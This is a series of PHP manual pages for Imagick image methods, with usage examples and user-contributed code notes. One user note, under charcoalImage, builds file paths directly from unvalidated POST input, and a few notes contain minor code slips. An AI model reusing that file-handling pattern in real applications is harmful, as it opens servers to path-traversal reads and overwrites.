  • Imagick::trimImage() - Remove edges from the image

User Contributed Notes

There are no user contributed notes for this page.


Adaptively sharpen the image

  • « Imagick::adaptiveResizeImage
  • Imagick::adaptiveThresholdImage »
  • PHP Manual
  • Imagick
  • Adaptively sharpen the image

Imagick::adaptiveSharpenImage

(PECL imagick 2.0.0)

Imagick::adaptiveSharpenImage — Adaptively sharpen the image

Description

bool Imagick::adaptiveSharpenImage ( float $radius , float $sigma [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Adaptively sharpen the image by sharpening more intensely near image edges and less intensely far from edges. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

radius

The radius of the Gaussian, in pixels, not counting the center pixel. Use 0 for auto-select.

sigma

The standard deviation of the Gaussian, in pixels.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns TRUE on success.

Examples

Example #1 A Imagick::adaptiveSharpenImage() example

Adaptively sharpen the image with radius 2 and sigma 1.

<?php
try {
    $image = new Imagick('image.png');
    $image->adaptiveSharpenImage(2,1);
} catch(ImagickException $e) {
    echo 'Error: ' , $e->getMessage();
    die();
}
header('Content-type: image/png');
echo $image;
?>

See Also

  • Imagick::sharpenImage() - Sharpens an image

User Contributed Notes

There are no user contributed notes for this page.


Selects a threshold for each pixel based on a range of intensity

  • « Imagick::adaptiveSharpenImage
  • Imagick::addImage »
  • PHP Manual
  • Imagick
  • Selects a threshold for each pixel based on a range of intensity

Imagick::adaptiveThresholdImage

(PECL imagick 2.0.0)

Imagick::adaptiveThresholdImage — Selects a threshold for each pixel based on a range of intensity

Description

bool Imagick::adaptiveThresholdImage ( int $width , int $height , int $offset )

Selects an individual threshold for each pixel based on the range of intensity values in its local neighborhood. This allows for thresholding of an image whose global intensity histogram doesn't contain distinctive peaks.

Parameters

width

Width of the local neighborhood.

height

Height of the local neighborhood.

offset

The mean offset

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Adds new image to Imagick object image list

  • « Imagick::adaptiveThresholdImage
  • Imagick::addNoiseImage »
  • PHP Manual
  • Imagick
  • Adds new image to Imagick object image list

Imagick::addImage

(PECL imagick 2.0.0)

Imagick::addImage — Adds new image to Imagick object image list

Description

bool Imagick::addImage ( Imagick $source )

Adds new image to Imagick object from the current position of the source object. After the operation iterator position is moved at the end of the list.

Parameters

source

The source Imagick object

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

bernie at dakotanetwork dot com 30-Nov-2011 12:42
create a favicon.ico with multiple resolutions

<?php

$src_img = new Imagick("src_img.png");
$icon = new Imagick();
$icon->setFormat("ico");

$geo=$src_img->getImageGeometry();

$size_w=$geo['width'];
$size_h=$geo['height'];

if (128/$size_w*$size_h>128) {
  $src_img->scaleImage(128,0);
} else {
  $src_img->scaleImage(0,128);
}

$src_img->cropImage(128, 128, 0, 0);

$clone = $src_img->clone();
$clone->scaleImage(16,0);
$icon->addImage($clone);

$clone = $src_img->clone();
$clone->scaleImage(32,0);
$icon->addImage($clone);

$clone = $src_img->clone();
$clone->scaleImage(64,0);
$icon->addImage($clone);

$clone = $src_img->clone();
$clone->scaleImage(128,0);
$icon->addImage($clone);

$icon->writeImages("favicon.ico", true);

$src_img->destroy();
$icon->destroy();
$clone->destroy();

?>


Adds random noise to the image

  • « Imagick::addImage
  • Imagick::affineTransformImage »
  • PHP Manual
  • Imagick
  • Adds random noise to the image

Imagick::addNoiseImage

(PECL imagick 2.0.0)

Imagick::addNoiseImage — Adds random noise to the image

Description

bool Imagick::addNoiseImage ( int $noise_type [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Adds random noise to the image.

Parameters

noise_type

The type of the noise. Refer to this list of noise constants.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Transforms an image

  • « Imagick::addNoiseImage
  • Imagick::animateImages »
  • PHP Manual
  • Imagick
  • Transforms an image

Imagick::affineTransformImage

(PECL imagick 2.0.0)

Imagick::affineTransformImage — Transforms an image

Description

bool Imagick::affineTransformImage ( ImagickDraw $matrix )

Transforms an image as dictated by the affine matrix.

Parameters

matrix

The affine matrix

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Animates an image or images

  • « Imagick::affineTransformImage
  • Imagick::annotateImage »
  • PHP Manual
  • Imagick
  • Animates an image or images

Imagick::animateImages

(No version information available, might only be in Git)

Imagick::animateImages — Animates an image or images

Description

bool Imagick::animateImages ( string $x_server )

This method animates the image onto a local or remote X server. This method is not available on Windows. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

x_server

X server address

Return Values

Returns TRUE on success.

See Also

  • Imagick::displayImage() - Displays an image

User Contributed Notes

gomadurai at gmail dot com 14-Aug-2009 12:31
Below eg shows how to create animated gif
<?php

$multiTIFF = new Imagick();

$mytifspath = "./man"; // your image directory

$files = scandir($mytifspath);

//print_r($files);

/*foreach( $files as $f )
{*/

for($i=2;$i<6;$i++)
{
    echo $files[$i];

    echo "<br>";
    $auxIMG = new Imagick();
    $auxIMG->readImage($mytifspath."/".$files[$i]);

    $multiTIFF->addImage($auxIMG);
}

//file multi.TIF
$multiTIFF->writeImages('multi423432.gif', true); // combine all image into one single image

//files multi-0.TIF, multi-1.TIF, ...
$multiTIFF->writeImages('multi.gif', false);

?>


Annotates an image with text

  • « Imagick::animateImages
  • Imagick::appendImages »
  • PHP Manual
  • Imagick
  • Annotates an image with text

Imagick::annotateImage

(PECL imagick 2.0.0)

Imagick::annotateImage — Annotates an image with text

Description

bool Imagick::annotateImage ( ImagickDraw $draw_settings , float $x , float $y , float $angle , string $text )

Annotates an image with text.

Parameters

draw_settings

The ImagickDraw object that contains settings for drawing the text

x

Horizontal offset in pixels to the left of text

y

Vertical offset in pixels to the baseline of text

angle

The angle at which to write the text

text

The string to draw

Return Values

Returns TRUE on success.

Examples

Example #1 Using Imagick::annotateImage():

Annotate text on an empty image

<?php
/* Create some objects */
$image = new Imagick();
$draw = new ImagickDraw();
$pixel = new ImagickPixel( 'gray' );

/* New image */
$image->newImage(800, 75, $pixel);

/* Black text */
$draw->setFillColor('black');

/* Font properties */
$draw->setFont('Bookman-DemiItalic');
$draw->setFontSize( 30 );

/* Create text */
$image->annotateImage($draw, 10, 45, 0, 'The quick brown fox jumps over the lazy dog');

/* Give image a format */
$image->setImageFormat('png');

/* Output the image with headers */
header('Content-type: image/png');
echo $image;

?>

See Also

  • ImagickDraw::annotation() - Draws text on the image
  • ImagickDraw::setFont() - Sets the fully-specified font to use when annotating with text

User Contributed Notes

www dot query at gmail dot com 08-Sep-2011 05:13
$image->annotateImage($draw, 10, 45, 0, 'The quick brown fox');

If the third parameter, the 'Y' value, is 0, the text will be invisible because the text is printed ABOVE the image - not on the image.

The solution is to start, depending on your chosen font size, with a Y value of about 40 and experiment.

[Also:]

When wishing to print some text on a photograph and make that text sufficiently contrasting to the background image, use a 4 byte code for colour and transparency.

It is the same 4 byte code using by the parameter '-undercolor' in ImageMagick's command lime instruction 'convert'.

The first 3 bytes are the RGB colour code and the fourth byte is the transparency byte.

<?php
   $picin = new Imagick($pic1);
   $picin->scaleimage(800,0);
   $height = $picin->getimageheight();

   $draw = new ImagickDraw();
   $draw->setFillColor('#ffff00');
   $draw->setFont('Eurostile');
   $draw->setFontSize(21);
   $draw->setTextUnderColor('#ff000088');
   $picin->annotateImage($draw,40,$height-10,0,"Hallo");

   $picin->writeimage($pic6);
?>

The example code produces yellow text on a semi-transparent red background.

$pic1 and $pic6 were previously defined as directory/file strings.
alan at ridersite dot org 23-Aug-2007 09:37
If ImagickDraw::setGravity ( int $gravity ) has been set, e,g; with $gravity= imagick::GRAVITY_CENTER.

Then, the x and y values offset the text from where the gravity setting would have placed it.

If the example included: $draw->setGravity (Imagick::GRAVITY_CENTER);
$image->annotateImage($draw, 10, 45, 0, 'The quick brown fox jumps over the lazy dog');

The text would be rendered to the right 10px and down 45px from the center.

Gravity constants are very useful as they can save having to calculate the placement of variable text strings and font sizes.


Append a set of images

  • « Imagick::annotateImage
  • Imagick::averageImages »
  • PHP Manual
  • Imagick
  • Append a set of images

Imagick::appendImages

(PECL imagick 2.0.0)

Imagick::appendImages — Append a set of images

Description

Imagick Imagick::appendImages ( bool $stack = false )

Append a set of images into one larger image.

Parameters

stack

Whether to stack the images vertically. By default (or if FALSE is specified) images are stacked left-to-right. If stack is TRUE, images are stacked top-to-bottom.

Return Values

Returns Imagick instance on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Imagick::appendImages() example

<?php

/* Create new imagick object */
$im = new Imagick();

/* create red, green and blue images */
$im->newImage(100, 50, "red");
$im->newImage(100, 50, "green");
$im->newImage(100, 50, "blue");

/* Append the images into one */
$im->resetIterator();
$combined = $im->appendImages(true);

/* Output the image */
$combined->setImageFormat("png");
header("Content-Type: image/png");
echo $combined;
?>

The above example will output something similar to:

Output of example : Imagick::appendImages()

User Contributed Notes

adao at adao dot eti dot br 30-Sep-2014 09:59
# change $ima to $ima->getimagesblob()

<?php
$im1 = new Imagick();
$im1->readImage('multi-page-pdf.pdf');
$im1->resetIterator();
# Combine multiple images into one, stacked vertically.
$ima = $im1->appendImages(true);
$ima->setImageFormat("png");
header("Content-Type: image/png");
echo $ima->getimagesblob();
?>
Anonymous 15-Mar-2014 02:08
Sometimes when running this code on a long running apache24 instance on a server with minimal memory the final "echo $ima;" returns an empty string.

Doing an "apache graceful" seems to clear this up.  There appears to be no other way to correct OR DETECT this problem. Suckky.
Brandon 12-Nov-2009 09:56
# How to combine a multi-page pdf file into a single long image:

<?php
$im1 = new Imagick();
$im1->readImage('multi-page-pdf.pdf');
$im1->resetIterator();
# Combine multiple images into one, stacked vertically.
$ima = $im1->appendImages(true);
$ima->setImageFormat("png");
header("Content-Type: image/png");
echo $ima;
?>


Average a set of images

  • « Imagick::appendImages
  • Imagick::blackThresholdImage »
  • PHP Manual
  • Imagick
  • Average a set of images

Imagick::averageImages

(PECL imagick 2.0.0)

Imagick::averageImages — Average a set of images

Description

Imagick Imagick::averageImages ( void )

Average a set of images.

Return Values

Returns a new Imagick object on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Forces all pixels below the threshold into black

  • « Imagick::averageImages
  • Imagick::blurImage »
  • PHP Manual
  • Imagick
  • Forces all pixels below the threshold into black

Imagick::blackThresholdImage

(PECL imagick 2.0.0)

Imagick::blackThresholdImage — Forces all pixels below the threshold into black

Description

bool Imagick::blackThresholdImage ( mixed $threshold )

Is like Imagick::thresholdImage() but forces all pixels below the threshold into black while leaving all pixels above the threshold unchanged.

Parameters

threshold

The threshold below which everything turns black

Return Values

Returns TRUE on success.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as a parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

Iddles 07-Jul-2011 02:35
You need to pass this function a colour:

<?php

$img->blackThresholdImage( "#FFFFFF" );

?>

E.g. this blackens any pixel which isn't pure white.
elmer at web-axis dot net 01-Dec-2008 12:33
Here's a example of this function:

<?php
  $img = new Imagick();
  $img->readImage($image_file_name);
  $img->blackThresholdImage('grey');
  $img->writeImage($thumb_file_name);
  $img->clear();
  $img->destroy();
?>


Adds blur filter to image

  • « Imagick::blackThresholdImage
  • Imagick::borderImage »
  • PHP Manual
  • Imagick
  • Adds blur filter to image

Imagick::blurImage

(PECL imagick 2.0.0)

Imagick::blurImage — Adds blur filter to image

Description

bool Imagick::blurImage ( float $radius , float $sigma [, int $channel ] )

Adds blur filter to image. Optional third parameter to blur a specific channel.

Parameters

radius

Blur radius

sigma

Standard deviation

channel

The Channeltype constant. When not supplied, all channels are blurred.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::blurImage():

Blur an image, then display to the browser.

<?php

header('Content-type: image/jpeg');

$image = new Imagick('test.jpg');

$image->blurImage(5,3);
echo $image;

?>

See Also

  • Imagick::adaptiveBlurImage() - Adds adaptive blur filter to image
  • Imagick::motionBlurImage() - Simulates motion blur
  • Imagick::radialBlurImage() - Radial blurs an image

User Contributed Notes

There are no user contributed notes for this page.


Surrounds the image with a border

  • « Imagick::blurImage
  • Imagick::charcoalImage »
  • PHP Manual
  • Imagick
  • Surrounds the image with a border

Imagick::borderImage

(PECL imagick 2.0.0)

Imagick::borderImage — Surrounds the image with a border

Description

bool Imagick::borderImage ( mixed $bordercolor , int $width , int $height )

Surrounds the image with a border of the color defined by the bordercolor ImagickPixel object.

Parameters

bordercolor

ImagickPixel object or a string containing the border color

width

Border width

height

Border height

Return Values

Returns TRUE on success.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the first parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

Alex 27-Sep-2013 10:12
Before making border of image in php, please, consider CSS capabilities to do that. These are more powerful and will not change original image

.img_class {
     border:10px solid red; /* Style of border (solid, dotted, inset, outset, ridge, grooved) */
     padding:20px 10px 5px 20px; /* Padding of border by clock-wise rule, starting from top */
     backhround:url('file.jpg'); /* Background image file if padding applied */

}


Simulates a charcoal drawing

  • « Imagick::borderImage
  • Imagick::chopImage »
  • PHP Manual
  • Imagick
  • Simulates a charcoal drawing

Imagick::charcoalImage

(PECL imagick 2.0.0)

Imagick::charcoalImage — Simulates a charcoal drawing

Description

bool Imagick::charcoalImage ( float $radius , float $sigma )

Simulates a charcoal drawing.

Parameters

radius

The radius of the Gaussian, in pixels, not counting the center pixel

sigma

The standard deviation of the Gaussian, in pixels

Return Values

Returns TRUE on success.

User Contributed Notes

holdoffhunger at gmail dot com 12-Apr-2012 08:13
The parameters for this function are really scary.  Radius of the Gaussian and Standard Deviation of the Gaussian?  After playing with it for a little bit, I think I put it together.  The Gaussian is the "brush" (in Gimp/Photoshop jargin), the radius is simply the radius of the brush, and the standard deviation is the level of variation among the sizes of the brush imprints.  The $radius parameter can be anything from 0 to as high a number as you can think, but once you beyond 10, 20, or 30 pixels, depending on the image size, the whole image gets blurred beyond useful recognition.  The $sigma, being the standard deviation, should be smaller than your radius to get the desired effect.  Think of it as "Charcoal Brushes of $radius Pixels Size, with each brush being as much as $sigma Pixels bigger or smaller than that."

For an average 500 x 500 pixel image, you'll probably want a $radius of 3 to 5 and a $sigma of 1 to 3, but you can go as far as 10 pixels generally before the image is blurred beyond recognition.  (At the moment, $radius: 5 / $sigma: 2 is the perfect blend for this 400x400 image that I'm working on right now.)

There was not too help from the official documentation site for this project, either: http://www.imagemagick.org/RMagick/doc/image1.html .  The authors there note: "You can alter the intensity of the effect by changing the radius and sigma arguments."  So, my description here of the functioning is based mostly on experience rather than documentation, which is difficult to find.

The following is the entire code for applying the effect to an image.  This code will open the specified file, it will apply the charcoalImage effect to it, and then it will save it to another specified file.  The arguments are served up through POST data, and the only functions of the ImageMagick class that are used are the readImageFile, charcoalImage, and writeImageFile, as so :

<?php

            // Author: holdoffhunger@gmail.com

        // Grab Inbound Data -- Function Parameters
        // --------------------------------------------------

    $inbound_gaussian_radius = $_POST['radius_of_gaussian'];
    $inbound_standard_deviation = $_POST['standard_deviation_of_gaussian'];

        // Grab Inbound Data -- Read-File and Write-File
        // --------------------------------------------------

    $filename_for_function = $_POST['file_target'];
    $inbound_save_as_filename = $_POST['saveable_result_file'];

        // Grab Image File Data
        // ---------------------------------------------

    $folder_location = "images/workshop/";
    $file_to_grab_with_location = $folder_location . $filename_for_function;

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');

        // Read File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Perform Function
        // ---------------------------------------------

    $imagick_type->charcoalImage($inbound_gaussian_radius, $inbound_standard_deviation);

        // Save File
        // ---------------------------------------------

    $folder_location = "images/workshop/";
    $file_to_grab_with_location = $folder_location . $inbound_save_as_filename;

    $file_handle_for_saving_image_file = fopen($file_to_grab_with_location, 'a+');

        // Write File
        // ---------------------------------------------

    $imagick_type->writeImageFile($file_handle_for_saving_image_file);

?>


Removes a region of an image and trims

  • « Imagick::charcoalImage
  • Imagick::clear »
  • PHP Manual
  • Imagick
  • Removes a region of an image and trims

Imagick::chopImage

(PECL imagick 2.0.0)

Imagick::chopImage — Removes a region of an image and trims

Description

bool Imagick::chopImage ( int $width , int $height , int $x , int $y )

Removes a region of an image and collapses the image to occupy the removed portion.

Parameters

width

Width of the chopped area

height

Height of the chopped area

x

X origo of the chopped area

y

Y origo of the chopped area

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::chopImage():

Example of using Imagick::chopImage

<?php
/* Create some objects */
$image = new Imagick();
$pixel = new ImagickPixel( 'gray' );

/* New image */
$image->newImage(400, 200, $pixel);

/* Chop image */
$image->chopImage(200, 200, 0, 0);

/* Give image a format */
$image->setImageFormat('png');

/* Output the image with headers */
header('Content-type: image/png');
echo $image;

?>

See Also

  • Imagick::cropImage() - Extracts a region of the image

User Contributed Notes

There are no user contributed notes for this page.


Clears all resources associated to Imagick object

  • « Imagick::chopImage
  • Imagick::clipImage »
  • PHP Manual
  • Imagick
  • Clears all resources associated to Imagick object

Imagick::clear

(PECL imagick 2.0.0)

Imagick::clear — Clears all resources associated to Imagick object

Description

bool Imagick::clear ( void )

Clears all resources associated to Imagick object

Return Values

Returns TRUE on success.

User Contributed Notes

kd0bpv at gmail dot com 06-Mar-2014 07:31
Imagick::destroy() has been deprecated in favor of Imagick::clear().
admin at dinacel dot com 16-Jun-2013 12:18
Destroy and clear methods seem to do exactly the same thing
@see http://svn.php.net/viewvc/pecl/imagick/trunk/imagick_class.c?view=markup (l.3066 & l.3087)

The code is duplicated, they do the same thing a bit differently.
markus dot s dot schmitz at gmail dot com 11-Dec-2012 05:46
One might be suprised that there seems to be no difference between:

<?php
$imagick = new Imagick();
$imagick->clear();
$imagick->readImage('myfile.jpg');
?>

and

<?php
$imagick = new Imagick();
$imagick->destroy();
$imagick->readImage('myfile.jpg');
?>

Both functions reset all options and clear all used resources so you might want to use either one of them.
See also: http://php.net/manual/en/imagick.destroy.php


Clips along the first path from the 8BIM profile

  • « Imagick::clear
  • Imagick::clipPathImage »
  • PHP Manual
  • Imagick
  • Clips along the first path from the 8BIM profile

Imagick::clipImage

(PECL imagick 2.0.0)

Imagick::clipImage — Clips along the first path from the 8BIM profile

Description

bool Imagick::clipImage ( void )

Clips along the first path from the 8BIM profile, if present.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Clips along the named paths from the 8BIM profile

  • « Imagick::clipImage
  • Imagick::clone »
  • PHP Manual
  • Imagick
  • Clips along the named paths from the 8BIM profile

Imagick::clipPathImage

(PECL imagick 2.0.0)

Imagick::clipPathImage — Clips along the named paths from the 8BIM profile

Description

bool Imagick::clipPathImage ( string $pathname , bool $inside )

Clips along the named paths from the 8BIM profile, if present. Later operations take effect inside the path. It may be a number if preceded with #, to work on a numbered path, e.g., "#1" to use the first path.

Parameters

pathname

The name of the path

inside

If TRUE later operations take effect inside clipping path. Otherwise later operations take effect outside clipping path.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Coleman Nitroy 14-Mar-2008 02:15
I found Imagick::clipPathImage and Imagic::clipImage did not work as I had expected. I thought they would just clip the path and throw away the extra data and you are done. Not the case.

Here is how I was able to use a clipping path:

<?php
      $img = new Imagick("/Path/To/Test/Image.psd");
      $geometry = $img->getImageGeometry();

      // Uses the first path as the clipping path
      $img->clipPathImage("#1", false);

      // Fill the clipped part with a color
      $draw = new ImagickDraw();
      $draw->setFillColor("#000000");
      $draw->color(0,0, imagick::PAINT_RESET);
      $img->drawImage($draw);

      // Composite the clipped image with the old image. Set the color of the composite to any color you want to be the outside part.
      $composite = new Imagick($path);
      $composite->newImage( $geometry['width'], $geometry['height'], new ImagickPixel("white"), 'png');
      $composite->compositeImage($img, imagick::COMPOSITE_COPY, 0, 0);
?>

Then doing any resizing or creating thumbnails from the resulting image  disregarded all the previous commands so I "saved" it and started with a new Imagick object

<?php
      // Copy the image so clip is "saved"
      $clipped = new Imagick();
      $clipped->readImageBlob($composite->getImageBlob());
?>

I'm sure there is a simpler way, but this took me awhile to get right and there were some hurdles to cross so I hope it is able to help someone on the way.

This is all the convert equivalent of:

$ convert Test.psd -fill white -colorspace rgb -draw "color 0 0 reset" -clip -colorspace rgb -draw "Image Copy 0,0 0,0 'Test.psd'" OutputFile.png


Makes an exact copy of the Imagick object

  • « Imagick::clipPathImage
  • Imagick::clutImage »
  • PHP Manual
  • Imagick
  • Makes an exact copy of the Imagick object

Imagick::clone

(PECL imagick 2.0.0)

Imagick::clone — Makes an exact copy of the Imagick object

Description

Imagick Imagick::clone ( void )

Makes an exact copy of the Imagick object.

Warning

This function has been DEPRECATED as of imagick 3.1.0 in favour of using the clone keyword.

Examples

Example #1 Imagick object cloning in different versions of imagick

<?php
// Cloning an Imagick object in imagick 2.x and 3.0:
$newImage = $image->clone();

// Cloning an Imagick object from 3.1.0 on:
$newImage = clone $image;
?>

Return Values

A copy of the Imagick object is returned.

Changelog

Version | Description
3.1.0 | The method was deprecated in favour of the clone keyword.

User Contributed Notes

waage 30-Jan-2008 12:00
This is great to use to make thumbnails

<?php

$im = new Imagick("image.jpg");

$thumb = $im->clone();
$thumb->thumbnailImage(100);
$thumb->writeImage("thumb_image.jpg");

?>


Replaces colors in the image

  • « Imagick::clone
  • Imagick::coalesceImages »
  • PHP Manual
  • Imagick
  • Replaces colors in the image

Imagick::clutImage

(PECL imagick 2.0.0)

Imagick::clutImage — Replaces colors in the image

Description

bool Imagick::clutImage ( Imagick $lookup_table [, float $channel = Imagick::CHANNEL_DEFAULT ] )

Replaces colors in the image from a color lookup table. Optional second parameter to replace colors in a specific channel. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

lookup_table

Imagick object containing the color lookup table

channel

The Channeltype constant. When not supplied, default channels are replaced.

Return Values

Returns TRUE on success.

Examples

Example #1 Using Imagick::clutImage():

Replace colors in the image from a color lookup table.

<?php
$image = new Imagick('test.jpg');
$clut = new Imagick();
$clut->newImage(1, 1, new ImagickPixel('black'));
$image->clutImage($clut);
$image->writeImage('test_out.jpg');
?>

See Also

  • Imagick::adaptiveBlurImage() - Adds adaptive blur filter to image
  • Imagick::motionBlurImage() - Simulates motion blur
  • Imagick::radialBlurImage() - Radial blurs an image

User Contributed Notes

There are no user contributed notes for this page.


Composites a set of images

  • « Imagick::clutImage
  • Imagick::colorFloodfillImage »
  • PHP Manual
  • Imagick
  • Composites a set of images

Imagick::coalesceImages

(PECL imagick 2.0.0)

Imagick::coalesceImages — Composites a set of images

Description

Imagick Imagick::coalesceImages ( void )

Composites a set of images while respecting any page offsets and disposal methods. GIF, MIFF, and MNG animation sequences typically start with an image background and each subsequent image varies in size and offset. Returns a new Imagick object where each image in the sequence is the same size as the first and composited with the next image in the sequence.

Return Values

Returns a new Imagick object on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

dikirill 09-Mar-2013 01:51
I tried examples below, and couldn't make them work. And found that version of my php-imagick extension is 3.1.0RC1, and looks like it's buggy in function "writeImages", downgrade to 3.0.1 helped me.
ktr 18-Oct-2012 05:06
resize and/or crop an animated GIF

<?php
$image = new Imagick($file_src);

$image = $image->coalesceImages();

foreach ($image as $frame) {
  $frame->cropImage($crop_w, $crop_h, $crop_x, $crop_y);
  $frame->thumbnailImage($size_w, $size_h);
  $frame->setImagePage($size_w, $size_h, 0, 0);
}

$image = $image->deconstructImages();
$image->writeImages($file_dst, true);
?>
vikomic at gmail dot com 02-May-2011 12:58
Here goes an exaple how to resize GIF-s.

<?php
$imagick = new Imagick("original.gif");

$format = $imagick->getImageFormat();
if ($format == 'GIF') {
  $imagick = $imagick->coalesceImages();
  do {
     $imagick->resizeImage(120, 120, Imagick::FILTER_BOX, 1);
  } while ($imagick->nextImage());
  $imagick = $imagick->deconstructImages();
  $imagick->writeImages('new_120x120.gif', true);

  // can be added some more gifs
  $imagick = $imagick->coalesceImages();
  do {
     $imagick->resizeImage(100, 100, Imagick::FILTER_BOX, 1);
  } while ($imagick->nextImage());
  $imagick = $imagick->deconstructImages();
  $imagick->writeImages('new_100x100.gif', true);
}

$imagick->clear();
$imagick->destroy();
?>

You can use any resize method (resizeImage) with this example.

This example works fine with *imagick module version 2.2.1-dev*, but doesn't work correctly with *imagick module version 3.0.1*.


Changes the color value of any pixel that matches target

  • « Imagick::coalesceImages
  • Imagick::colorizeImage »
  • PHP Manual
  • Imagick
  • Changes the color value of any pixel that matches target

Imagick::colorFloodfillImage

(PECL imagick 2.0.0)

Imagick::colorFloodfillImage — Changes the color value of any pixel that matches target

Description

bool Imagick::colorFloodfillImage ( mixed $fill , float $fuzz , mixed $bordercolor , int $x , int $y )

Changes the color value of any pixel that matches target and is an immediate neighbor.

Parameters

fill

ImagickPixel object containing the fill color

fuzz

The amount of fuzz. For example, set fuzz to 10 and the color red at intensities of 100 and 102 respectively are now interpreted as the same color for the purposes of the floodfill.

bordercolor

ImagickPixel object containing the border color

x

X start position of the floodfill

y

Y start position of the floodfill

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as first and third parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

memmie at lenglet dot name 29-Apr-2014 06:39
Imagick::colorFloodFillImage is depreciated. You should use Imagick::paintFloodfillImage (replaced by Imagick::floodFillPaintImage in ImageMagick 6.3.8)


Blends the fill color with the image

  • « Imagick::colorFloodfillImage
  • Imagick::combineImages »
  • PHP Manual
  • Imagick
  • Blends the fill color with the image

Imagick::colorizeImage

(PECL imagick 2.0.0)

Imagick::colorizeImage — Blends the fill color with the image

Description

bool Imagick::colorizeImage ( mixed $colorize , mixed $opacity )

Blends the fill color with each pixel in the image.

Parameters

colorize

ImagickPixel object or a string containing the colorize color

opacity

ImagickPixel object or an float containing the opacity value. 1.0 is fully opaque and 0.0 is fully transparent.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the first parameter and a float representing the opacity value as the second parameter. Previous versions allow only an ImagickPixel objects.

User Contributed Notes

Alex Lokhman [VisioN] 22-Mar-2014 11:35
If you're looking for a solution to fill the image with a solid color, preserving background transparency, here is one way:

<?php
$im = new Imagick('image.png');
$im->setImageAlphaChannel(Imagick::ALPHACHANNEL_EXTRACT);
$im->setImageBackgroundColor('color');
$im->setImageAlphaChannel(Imagick::ALPHACHANNEL_SHAPE);
$im->writeImage('output.png');
$im->destroy();
?>
olav at redwall dot ee 18-Dec-2013 09:24
To improve upon "php at lfbittencourt dot com"'s solution, this one blends the composited color, and takes opacity into account as well.

<?php
class YourImagick extends Imagick
{
    public function colorize($color, $alpha = 1, $composite_flag = Imagick::COMPOSITE_COLORIZE)
    {
        $draw = new ImagickDraw();

        $draw->setFillColor($color);

        $geometry = $this->getImageGeometry();
        $width = $geometry['width'];
        $height = $geometry['height'];

        $draw->rectangle(0, 0, $width, $height);

        $temporary = new Imagick();
        $temporary->setBackgroundColor(new ImagickPixel('transparent'));
        $temporary->newImage($width, $height, new ImagickPixel('transparent'));
        $temporary->setImageFormat('png32');
        $temporary->drawImage($draw);

        $alphaChannel = $this->clone();
        $alphaChannel->setImageAlphaChannel(Imagick::ALPHACHANNEL_EXTRACT);
        $alphaChannel->negateImage(false, Imagick::CHANNEL_ALL);
        $this->setImageClipMask($alphaChannel);

        $clone = $this->clone();
        $clone->compositeImage($temporary, $composite_flag, 0, 0);
        $clone->setImageOpacity($alpha);

        $this->compositeImage($clone, Imagick::COMPOSITE_DEFAULT, 0, 0);
    }
}
?>
php at lfbittencourt dot com 11-May-2012 10:26
Do you want a color overlay with TRUE opacity control? Try this:

<?php

class YourImagick extends Imagick
{
    public function colorize($color, $alpha = 1)
    {
        $draw = new ImagickDraw();

        $draw->setFillColor($color);

        if (is_float($alpha)) {
            $draw->setFillAlpha($alpha);
        }

        $geometry = $this->getImageGeometry();
        $width = $geometry['width'];
        $height = $geometry['height'];

        $draw->rectangle(0, 0, $width, $height);

        $this->drawImage($draw);
    }
}

?>

How to use:

<?php

$imagick = new YourImagick('example.png');

$imagick->colorize('#ffcc00', 0.35);

header('Content-type: image/png');

echo $source;

?>
talkol at gmail dot com 28-Dec-2011 04:19
When you're using an image with an alpha channel (for example a transparent png), a value of 1.0 will return a completely transparent image, but a value of 1 works just fine.
lsmartinez at gmail dot com 08-Apr-2009 06:42
simplest example

<?php
$nombre = '001-4-0043.jpg';
$img = new Imagick($nombre);
$img->negateImage(false);
//$pixblu = new ImagickPixel('#000040');
$img->colorizeImage('#0000b0',1.0);
header('content-type: image/jpeg');
echo $img;
?>


Combines one or more images into a single image

  • « Imagick::colorizeImage
  • Imagick::commentImage »
  • PHP Manual
  • Imagick
  • Combines one or more images into a single image

Imagick::combineImages

(PECL imagick 2.0.0)

Imagick::combineImages — Combines one or more images into a single image

Description

Imagick Imagick::combineImages ( int $channelType )

Combines one or more images into a single image. The grayscale value of the pixels of each image in the sequence is assigned in order to the specified channels of the combined image. The typical ordering would be image 1 => Red, 2 => Green, 3 => Blue, etc.

Parameters

channelType

